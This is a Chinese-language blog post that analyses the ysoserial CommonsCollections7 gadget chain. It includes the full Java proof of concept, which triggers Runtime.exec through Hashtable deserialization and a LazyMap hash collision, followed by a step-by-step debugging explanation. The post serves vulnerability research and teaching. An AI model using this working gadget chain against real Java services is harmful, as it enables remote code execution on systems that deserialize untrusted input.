Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析
写在前面
| CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
|---|---|---|---|
| CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
| CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
| CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
| CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
| CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(实测8u181也可) | |
| CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 | |
| CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 |
CC7和CC1差不多,只是触发LazyMap.get()的方式不一样,反序列化的入口点变成了Hashtable类
Payload method chain: 因为chain发生了一些变化,这里贴出来先留个印象,放便后续调试时理解
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
PoC分析
前面部分基本都是CC1的老内容了,主要看下后面有关于Hashtable部分,主要是下面的一段代码
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()方法new了两个LazyMap对象
抛出问题:注意这里的LazyMap中的yy与zZ,这个命名是有说法的。
在reconstitutionPut方法中,可以看到zZ和yy的hash是一样的,但是重点在于index的值,如果不符合语法会导致无法进入for循环也就触发不了后续的利用链

(transformerChain是new的一个空ChainedTransformer对象)后续将这两个LazyMap对象作为参数传入hashtable.put()方法并put两次。抛出问题:为什么要put两次?
调试时发现在Hashtable#readObject()方法有如下一个循环,在这个for循环中去调用的reconstitutionPut方法

第一次循环调用reconstitutionPut方法时并不会走进chain中提到的equals方法,因为tab[index]的值是0,后面才会对tab[index]进行赋值。

第二次才能进入for循环进而调用if判断中的equals方法,这也是为什么hashtable要put两次的原因

调试分析
Hashtable#readObject()下断点,debug,跟进到reconstitutionPut方法

上面也提到了,第一次循环时并不能进入equals方法,这里略去,直接跟进到第二次循环的时候,调用的是LazyMap#equals方法,继续跟进,这里调用的其实是org/apache/commons/collections/map/AbstractMapDecorator的equals方法

调用AbstractMap的equals方法

在AbstractMap#equals()方法中最终调用了LazyMap.get()

后续就是进入ChainedTransformer#transform()方法,老生常谈的东西了,最终是在InvokerTransformer#transform()中反射调用exec执行命令

END
至此CC1-7就都分析完了,后面几个链分析的内容比较少,大部分都是前面的内容如果觉得不详细可以看之前写的CC1-3的文章,基本都涵盖了后面分析时没深入写的老生常谈的东西。后续应该会去跟一下ysoserial的源码,虽然之前分析URLDNS的时候就简单看过如何生成payload。但是分析cc的时候就没用ysoserial项目的源码(因为封装的太多了:D)之后可能会把CC8-10拿出来写成ysoserial的payload放进去。
Reference
https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/
Ysoserial Commons Collections7分析的更多相关文章
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
随机推荐
- css 边框添加三角形指向,简单粗暴,易学易懂
构建一个 div , class 随便命名 css 部分 class 名字 { position: relative; // 相对定位是重点 } class名字:before,class名字:afte ...
- Python+mirai开发QQ机器人起步教程(2021.9.9测试有效)
参考:开发 mirai QQ机器人起步教程_叹之-CSDN博客_mirai python 本篇文章参考了以上博客,并对其中的失效内容和版本匹配问题进行了补充修改,实测能够成功运行.部分步骤的运行截图见 ...
- Appium问题解决方案(7)- Could not find 'adb.exe' in PATH. Please set the ANDROID_HOME environment variable with the Android SDK root directory path
背景:运行代码提示找不到ADB An unknown server-side error occurred while processing the command. Original error: ...
- Linux - yum 安装软件时被 PackageKit 锁定
问题描述 yum 安装软件的时候报错 sudo yum install netease-cloud-music 已加载插件:fastestmirror, langpacks /var/run/yum. ...
- djangoProject default codes
1 === 2 settings.py 3 === 4 """ 5 Django settings for djangoProject project. 6 7 Gene ...
- MySQL实战45讲(01--05)-笔记
目录 MySQL复习 01 | 基础架构:一条SQL查询语句是如何执行的? 连接器 查询缓存 分析器 优化器 执行器 02 | 日志系统:一条SQL更新语句是如何执行的? 重要的日志模块:redo l ...
- 一文读懂Redis
目录结构如下: 简介 Redis是一个高性能的key-value数据库.Redis对数据的操作都是原子性的. 优缺点 优点: 基于内存操作,内存读写速度快. Redis是单线程的,避免线程切换开销及多 ...
- pygame简单小游戏 移动小球
键盘a,d,s,w移动小球 需要安装pygame cmd里输入pip install pygame import pygame import sys pygame.init() screen = py ...
- 基于React和GraphQL的黛梦设计与实现
写在前面 这是笔者在中秋无聊写着玩的,假期闲暇之余憋出来的帖子.麻雀虽小,但五脏俱全,涉及到的方方面面还是蛮全的.所以就设计了一个黛梦(demo)------ 打通了GraphQL的接口与前端交互的流 ...
- Shell系列(20)- 字符截取命令cut
前言 grep是按行提取:cut默认是通过制表符,按列提取,不能识别用空格作为分隔符 语法 cut [选项] [文件] 选项 -f :列号,截取哪几列数据,多个列号用逗号隔开:列与列之间默认用TAB制 ...